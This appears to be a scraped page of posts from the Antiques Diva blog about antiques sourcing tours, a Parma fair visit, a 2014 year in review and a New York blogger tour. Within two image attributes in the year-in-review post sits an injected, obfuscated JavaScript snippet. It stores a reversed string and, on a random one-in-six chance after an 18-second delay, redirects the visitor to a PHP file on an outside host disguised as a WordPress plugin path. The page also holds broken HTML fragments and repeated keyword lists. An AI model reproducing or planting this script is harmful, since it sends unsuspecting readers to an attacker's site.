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Quintessence and Stylish Shopping By Susanna Salk Take an Antiques Diva Tour

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>As an antiques & design blogger myself I’m often asked what design blogs I read… and one of my favorite is Stacey Bewkes’ Quintessence Blog.  From art and architecture, interiors and design, fashion and jewelry to books and movies, food and wine, travel and more, Quintessence has become a trusted source for well-researched, original content in the online world.  I love that she takes us behind the scenes to some of the world’s most gorgeous properties and gives us a peek into some of the very best shops all over the globe.  We get to tag along as she attends exclusive events, meets design icons and tastemakers and connects the dots to bring you the story behind the style.  In addition to blogging, Stacey was revolutionary in the blogosphere when she teamed up with Susanna Salk to produce and edit one of the best design video series.

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Imagine my excitement when these two dynamic women confirmed that they wanted to take an Antiques Diva Tour of Mercanteinfiera with me! I couldn’t wait to get these ladies to Italy and show them the ropes of navigating Italy’s largest antiques fair which takes place twice a year in Parma. With over one thousand vendors and several buildings, it can be tricky to weave your way through the thousands of international shoppers – but don’t worry, we know the fair and its vendors like the back of our hand!

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Once we started shopping, I could see why these two women are known as international tastemakers. Their eyes are trained and I watched as they gravitated toward piece after gorgeous piece! Some of their favorite finds were a large mirror, a stately lion statue, a rustic armoire, architectural ornaments, and a pair of oversized urns. They also pointed out that attending fairs like Mercanteinfiera is a great way to get styling ideas as the exhibitors create interesting displays. I couldn’t agree more!

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

In a blog they wrote about their Antiques Diva experience, they write, “In our two days at the Parma antiques fair, we effortlessly wove through the multiple massive buildings, following Toma and Susan (our charming and knowledgeable Italian Diva) to meet special friends and dealers, from Toma’s favorite purveyor of Murano glass to the creative couple from Florence who fashion chic new treasures by blending antiques with modern artistry,to her dealer friend Maurizio from Sicily (now located in Florence).”

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Read the entire blog and watch the fun video they shot in the video series to-mercanteinfiera-the-parma-antiques-fair/” target=”_blank”>Stylish Shopping with Susanna Salk.

Thanks ladies for coming over and living La Dolce Diva for a few days! We certainly had a blast giving you just a glimpse of what we do on a daily basis all across Europe. When you’re ready for round two, why don’t we hit Les Puces in Paris… or The Decorative Fair at Battersea in London… or hop in the car and let us introduce you to our secret sources in the Belgian countryside… So many options, so little time!

Stacey Bewkes, Quintessence, Susanna Salk, Stylish Shopping, The Antiques Diva, Mercanteinfiera, Parma Antiques Fair, Sourcing Antiques in Italy, Toma Clark Haines,

Ciao,

The Antiques Diva® 

Wrapping Up 2014 with The Antiques Diva

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>As we wrap up 2014 and I reflect on this year I’m reminded of words by Charles Dickens,“it was the best of times and…” well, the best of times! I cannot help but think “Wow!” It’s been a fabulous year of growth for us here at The Antiques Diva & Co.  We’ve grown to being the largest antiques sourcing company in Europe, offering customized buying tours in 8 countries (and counting) and working with a team of 18 locally-based guides.   If I could sum up the year in three words they would be Clients, Collaborations and Celebrations!

The Antiques Diva, Toma Clark Haines, Year in Review, Antiques Diva Paris Flea Market Party, Maison Objet, Deco Off, Edi<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor at Large, Timothy Corrigan, Paul Bert, Serpette, Michael Boodro, Elle Décor, ” width=”600″ height=”900″ />

We kicked off 2014 in January with our first ever Antiques Diva Paris Flea Market Fete coinciding with Maison et Object and Deco Off.   With over 150 mega VIP guests in attendance the event received great media coverage and we were able to film a special tour of the tor-at-large-tv-paris-flea-market-tour” target=”_blank”>Paris Flea Market with Editor at Large.  Such was last years success we’re doing it again this January 25 2015 for our second annual fete at the Paris Flea Market in conjunction with special guests tors-page-januaryfebruary-2012-a-72280%20″ target=”_blank”>Michael Boodro, Editor in Chief of Elle Décor, one of my favorite “Frenchy” interior designers, Timothy Corrigan and the owner of the Paul Bert/Serpette, Jean-Cyrille Boutmy (RSVP now for details to:toma@antiquesdiva.com”>toma@antiquesdiva.com! You’re invited!!)

The Antiques Diva, Toma Clark Haines, Year in Review, Tobi Fairley, Denise McGaha, Jon Call, Mark Cutler, Stacey Bewkes, Quintessence, Stylish Shopping with Susanna Salk, Mercanteinfiera, Parma Antiques Fair,

The Antiques Diva, Toma Clark Haines, Year in Review, Jon Call, Mercanteinfiera, Parma Antiques Fair,

The Antiques Diva, Toma Clark Haines, Year in Review, Stacey Bewkes, Quintessence, Stylish Shopping with Susanna Salk, Mercanteinfiera, Parma Antiques Fair,

In February (and again in September) we were able to once again take VIP groups of American Interior Designers to Mercanteinfiera in Parma, Italy. Attending this large antiques fair is always a treat, but most especially when the clients are as fun as tobifairley.com/” target=”_blank”>Tobi Fairley, Denise McGaha, Jon Call and Mark Cutler!   Later in the fall we were delighted to film Stylish Shopping with Susanna Salk along with Stacey Bewkes of Quintessence for an upcoming episode on antiquing in Italy, Diva Style at Mercanteinfiera!   Watch this space! Both trips were filled with antiques sourcing, photo shoots and copious quantities of food & wine.  This month I was also delighted to add a new member to our team at Diva Headquarters – Andrew Skipper!

Then in March I hopped on a plane and headed to the USA to speak alongside Michael Bruno founder of 1stdibs at the Design Bloggers Conference. It was such an honor to meet so many talented design enthusiasts and to be able to share my story of turning a blog into a business.  Again, many lasting relationships were forged at this fantastic conference!

Just days later I was back on a plane headed for the UK. Our lovely Diva Agent Gail and I met up with Antiques Expert Judith Miller who gave our group of clients a private tour of The Bath Decorative Fair, which happened to be celebrating its 25th anniversary with a Champagne fete.  Yes, Champagne does tend to follow me around.  At the end of the month, I headed back to NYC to speak at the IFDA New York Design Center. What a jam-packed month!

The Antiques Diva, Toma Clark Haines, Year in Review, San Francisco Cottage & Gardens, Joy Venturini,

Criss-crossing the USA, I then flew to Atlanta to speak at ADAC and then spoke in both Los Angeles and San Francisco (special thanks to Kneedler Fauchere for hosting a fete in my honor).  I was also delighted to attend the launch party of San Francisco Cottage & Gardens where I befriended fashion icon tos/a.231403390383998.1073741831.175759922615012/231407023716968/” target=”_blank”>Joy Venturini who moments before this photo was taken officially told me I was the “best dressed” for the event!  What a treat it was to see so many clients and make new friends!

The Antiques Diva, Toma Clark Haines, Year in Review, High Point Market, Antique & Design Center, Mad Cap Cottage

Then it was time for High Point Market which is THE MEETING PLACE for all my clients and colleagues.  Here I hosted – what else? – a Champagne tour of the Antique & Design Center after leading a Style Guide lecture on the Louis (lest you think antiques are boring… this talk involved plenty of sex and scandal to spice up the antiques and history!!!!).

The Antiques Diva, Toma Clark Haines, Year in Review, Blog Tour Milan

But I couldn’t stay long at High Point – I had to jet back to Milan, Italy for Salone to meet my Italian Diva Guide, Susan, to lead a VIP tour for Blog Tour Milan! Our lovely clients enjoyed this gorgeous city with us culminating in our party at the famous Campari Bar. After all that jet-setting, it was time to meet my husband in Tuscany for some much needed down days of relaxation at the Villa Bordoni.   I’ve been fortunate my husband has been able to travel with me on some business trips as I criss-cross the globe and we met in exotic destinations.

The Antiques Diva, Toma Clark Haines, Year in Review, Spring Market, D&D Building, Antiques in the 21st Century,

May brought along plenty of client tours, including taking The Antiques Roadshow Magazine on tour throughout Belgium. But then in May it was back to the States for Spring Market at the D&D in New York where I spoke on a panel about Antiques in the 21st Century. Then in June a life-long dream of mine came true! We kicked off our first tours” target=”_blank”>Antiques Diva Venice Tours with our new Diva Guides Orseola and Chiara! Exploring this enchanted city on the arms of two locals has given me access to a world I never thought I’d know as an insider.

The Antiques Diva, Toma Clark Haines, Year in Review, Las Vegas Market, Antique Trend Forecast, Design Tastemaker,

July took me to The Windy City of Chicago for a speaking engagement at the Randolph Street Antique Market where I did a promo spot on to-chicago/219911/” target=”_blank”>ABC in Chicago! Then it was off to Las Vegas Market where I spoke on Antique Trends and was delighted to be named one of their Design Tastemakers!!

Mandarin Oriental, Bangkok, Anantara Elephant Camp, Golden Triangle,

August brought some much needed down time in Thailand as my husband and I traveled to Thailand together to spend time at the Mandarin Oriental in Bangkok followed by shopping in Chiang Mai (Watch this space for upcoming Diva News! Will the Diva Do Asia?) followed by an amazing week at the Anantara Elephant Camp in the Golden Triangle learning to drive my own elephants.  Taking in this magical place was truly what we needed after all the hustle and bustle of this whirlwind year!

The Antiques Diva, Toma Clark Haines, Year in Review, Steve Nobel, Nobelinks,

toinal-home-london.jpg”>toinal-home-london.jpg” alt=”The Antiques Diva, Toma Clark Haines, Year in Review, Decorative Fair, Battersea, Traditional Home, Antique Markets in London” width=”600″ height=”900″ />

In September I was back in London, leading a VIP tour alongside industry sage and icon Stephen Nobel. Taking in exciting inspiration and sourcing unique antiques was the name of the game—along with lots of bubbly, bien sur! By the end of the month I was back again in London, taking a lovely journalist from Traditional Home on a special tour which coincided with The Decorative Fair at Battersea.

The Antiques Diva, Toma Clark Haines, Year in Review, Gotha Biennale, Fall Market, Darcy Ful<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}ton, Jackson McCard, John Rosselli, Bunny Williams, Treillage, Art and Antiques Fair Parma Italy” width=”600″ height=”452″ />

Then in October after spending time in Italy for Mercanteinfiera I flew back to the Big Apple to speak at the D&D Building for Fall Market. But I couldn’t stay long because up next was High Point Market where I spoke yet again about my Antiques Diva Style Guide. High Point is always like a reunion! Such a pleasure to see so many familiar faces.  Before I knew it, I was back to Italy for another VIP event – attending the opening night gala at the to.pdf” target=”_blank”>Gotha Biennale with special VIP guests Darcy Fulton of John Rosselli and Jackson McCard of Bunny Williams’ Treillage!

The Antiques Diva, Toma Clark Haines, Year in Review, Olga Granda-Scott, The Highboy, Doris Athineos, Traditional Home Antiques, Jonathan Burden, Antiques in the 21st Century

The Antiques Diva, Toma Clark Haines, Year in Review, Holiday House New York, Justin Shaulis, Gallery Hopping in Miami, Louis Navarrete,

In November we capped off the year with our last Antiques Diva event as I returned to NYC, speaking alongside the grande dame of antiques Judith Miller, Traditional Home magazine antiques editor Doris Athineos and Olga Granda-Scott of The Highboy at Jonathan Burden, Antiques and Works of Art. I was also able to go to the opening night gala of Holiday House New York with my dear friend and client Justin Shaulis whose room “Gallery Hopping in Miami” was simply a show stopper!  I was also particularly partial to client Louis Navarrete’s Bohemian Rapsody!

All these events… and I’ve not mentioned the MOST IMPORTANT PART OF THIS YEAR.  As a company my 18 guides and I served more clients than ever before! Our busiest week of the year  we had more than 25 clients spread across 6 of our tour countries!!!!  Thank you for your support, your love and…baby, we quite simply could not do it without you.

The Antiques Diva, Toma Clark Haines, Year in Review, ICEHOTEL, Arctic Circle Dog Sledding, Reindeer Sledding in the Arctic, Northern Lights, New Years Resolutions

The Antiques Diva, Toma Clark Haines, Year in Review, ICEHOTEL, Arctic Circle Dog Sledding, Reindeer Sledding in the Arctic, Northern Lights, New Years Resolutions

The Antiques Diva, Toma Clark Haines, Year in Review, ICEHOTEL, Arctic Circle Dog Sledding, Reindeer Sledding in the Arctic, Northern Lights, New Years Resolutions

And that brings us to December where I’ve fallen into a pile of exhaustion as we entered our slow season,  as I spent my holiday in the Arctic Circle.  You must add the ICEHOTEL to your bucket list. It’s amazing.  I’ve spent the last week dog sledding in the tundra, reindeer sledding (and making one too many sightings as those buggers crisscross the roads in the Nordic) and stargazing while watching the Northern Lights. All in all I’d say it’s been a full, fun and fabulous year.

As we prepare for 2015, I can’t help but think that the BEST is still ahead!  This past year has had many highs (and a few lows as well) and the lesson here has been on priorities. In January 2014 I told my husband my goal for the year was to jump off cliffs…. free falling to see where these risks I was taking would take me.  The year has yielded more returns than I ever expected.

Thank you to all of my clients, friends, family and followers for everything and I look forward to seeing all of you in 2015!!! Let’s make it a great year!

Happy New Year,

The Antiques Diva®

 

In Bed with Eddie Ross

Dear Diva Readers,

Antique Bed Shopping

Caption:  Eddie Ross Seen Here Bed Shopping

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 80px; line-height: 70px; padding-top: 1px; padding-right: 5px; font-family: times;”>I spent the morning in bed with Eddie Ross.   Perhaps I should rephrase that lest Mr. Antiques Diva (not to mention Jathan) be not too impressed with my comment!   One of my New Year’s Resolutions was to start taking more time to get inspired.  While doing my job leading European Antique Buying tours a key element involves inspiring my clients with our flea market and antique warehouse finds, helping them stock their stores or purchase pieces with a past for theirs or their client’s homes.  In order to do my job better, I realized I really should top the tea kettle with a continual stream of inspiration myself.  So when writing my New Year’s Resolutions this year, my # 3 was to Get Regularly Inspired.

Design Inspiration

This fell behind #1 –  the annual resolution to lose weight and #2 – to make more organized office systems and procedures.   Neither #1 nor #2 are that interesting and are probably destined for failure.  But #3…. now THAT resolution has legs I can run with. (Hmm, if only flipping through my favorite magazines burnt more calories…).

But I digress.  This morning my husband’s alarm went off at 4am and I kissed him good bye as he headed to the airport en route to Amsterdam (note, I love that guy, but it’s January and I didn’t offer to put on clothes and drive him to the airport).  And while I regularly start my work day at dawn – finding it the best time to get caught up on office work (see I’m already implementing ways to conquer the work place clutter, who needs resolution #2?) – this morning it was raining.  Rain is my kryptonite.  I also had my regular feature article deadline for Antiques Shops and Designers magazine and a looming deadline is a guaranteed way to give me writer’s block and a desire to procrastinate.  And the cat was in bed.  And he was purring.  He even rolled over and showed me his white belly, flopping one paw over his eyes.  (The cat, not my husband.  The husband had already left by this point).  And it was still dark outside.  And cold.  Then I remembered Resolution # 3.  Get Regularly Inspired.  No time like the present.

Puccino the Cat

So I turned on my Fortuny-styled bedside lamp (note to self – REALLY MUST find the real thing on one of our Italian buying tours someday) and crawled deeper under the covers, propping my iPad up on my lap.  A tweet from Stacey Bewkes of Quintessence lifestyle blog  flittered across the top of the screen about meeting up in Paris during Maison Objet.  And I thought bingo.  What better place to start my inspiration prowl.  Stacey is a blogging genius and hers is one of my all time favorites.  As I began reading her latest posts, I noticed something on the side bar.  What’s this? Video Series – Stylish Shopping with Susanna Salk .  The next thing I knew I was watching flea market maestro Eddie Ross shop the Elephant Trunk.

Eddie-Ross-and-Susanna-Salk

Caption: Eddie and Susanna Shopping Elephant Trunk

Which reminded me…  I LOVE EDDIE ROSS… so I flicked over to his site – where I soaked up divine design inspiration and spent the next hour in bed with Eddie, reading a backlog of posts I’d missed in my absence away from his site during these days when work had overtaken my life.   I use to read his posts all the time.  I love finding images styled by him.

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Caption: Classic Eddie Ross

He’s a genius.  And  budget conscious.  I had hit the gold mind of inspiration.  The mecca.   The motherlode.

Which reminded me, whomever your design hero –  I want to encourage you to spend a morning in bed with them.  Go get inspired.

And Eddie – thank you for inspiring me.  Though I should warn you… next time we meet up it might be in the bath.

The Antiques Diva®

Toma Clark Haines

Live From New York!

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 50px; line-height: 40px; padding-top: 1px; padding-right: 5px; font-family: times;”>I can hardly believe it – after months of anticipation I touched down in New York City yesterday for tour” target=”_blank”>#BlogTourNYC and this next week will be blogging LIVE FROM NEW YORK!!!  My home away from home near Times Square is the modern, friendly, well-appointed TRYP Hotel.

How lucky for me that I was given a corner room on the penthouse with sweeping views over the Hudson and Manhattan!!  I definitely felt like I had arrived in STYLE!!!  And speaking of style, Veronika Miller and Tim Bogan of Modenus have it in spades.  They were waiting in the lobby with cocktail in hand.   The enchanting Pippa Jameson immediately got the party started by attempting to drink wine straight from the carafe….

Of course, Will of Bright Bazaar wasn’t far behind…

With the wine flowing, Modenus had organized a gorgeous little orientation fete where we ate a slew of nibbles (my favorite being the fish tacos) and got our goody bags while discussing our plans for the week!  Score!!

At this very moment whilst writing this blog post, I’m actually wrapped in luxury wearing the towelcompany.com/ ” target=”_blank”>Turkish Towel BathRobe that came with the kit! 

Presents unwrapped and stashed in our room following our orientation cocktail, we dashed out onto the street, hobbling in our heels for dinner at Barbes, an amazing little Moroccan restaurant named after the Paris neighborhood at the foot of the Sacre-Coeur.  We found ourselves giggling and chatting and fast becoming friends…

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Caption:  Emily Peck, Hannah Coleman and Stacey Sheppard ham it up! 

We even got to see a few sites in transit to dinner… Andrew Dunning, of ADP Interiors pointed out the Empire State building as we dashed by.

A highlight of the night was getting to meet 2 of my favorite bloggers who were #BlogTourLondon participants last year – Tamara of Nest, Nest, Nest and Stacey of Quintessence.  Equally delightful were the sponsors on site for the night.  I had the pleasure of dining with representatives from Modern Aire and the Architectural Digest Home Design Show.

Modern Aire  

We were given a bit of the inside scoop on setting up the show and then the next thing I knew more gifts were being bestowed upon us! THANK YOU Samuel Heath for the lovely robe hook & pull cord by designer Kevin McCloud.

And thanks to Kelly of Kelly’s Kitchen Synk for the use of her photo! Her’s came out so much better than mine I decided to borrow it!

All in all, I’d say our arrival evening into #BlogTourNYC went wonderfully – I was knackered when I got back to the hotel after flying into NYC from Berlin. 

Today we’re off for our 1st full day of adventure!!  On tap, includes a visit to the A & D Building for a town.poggenpohl.com/seite/home.html” target=”_blank”>Poggenpohl & Blanco before popping down the road to the D & D building for afternoon tea with Madame De Le Curona, a luxury textile firm.  Then – Modenus knows how do it diva style –  they’ve coordinated a fab dinner in the Miele showroom after we tour the luxury apartments at One 57.

You might be wondering why we’re touring a luxury, 90 story skyscraper overlooking Central Park…. Well, aside from the photo opps, the key thing is the entire building opted to install Miele’s appliances… this building is the essence of fine living and so this decision speaks volumes!

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I should dash as the day is about to dawn…but stay tuned for more news from the road with #BlogTourNYC!

The Antiques Diva®

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The Antiques Diva & Co offers custom planned Antiques Buying Tours for tourists and trade professionals. Whether you’re looking to buy one specific piece or wanting to fill an entire container, our personal shopping antique buying guides share their vast knowledge of secret sources to take you to all the right places.

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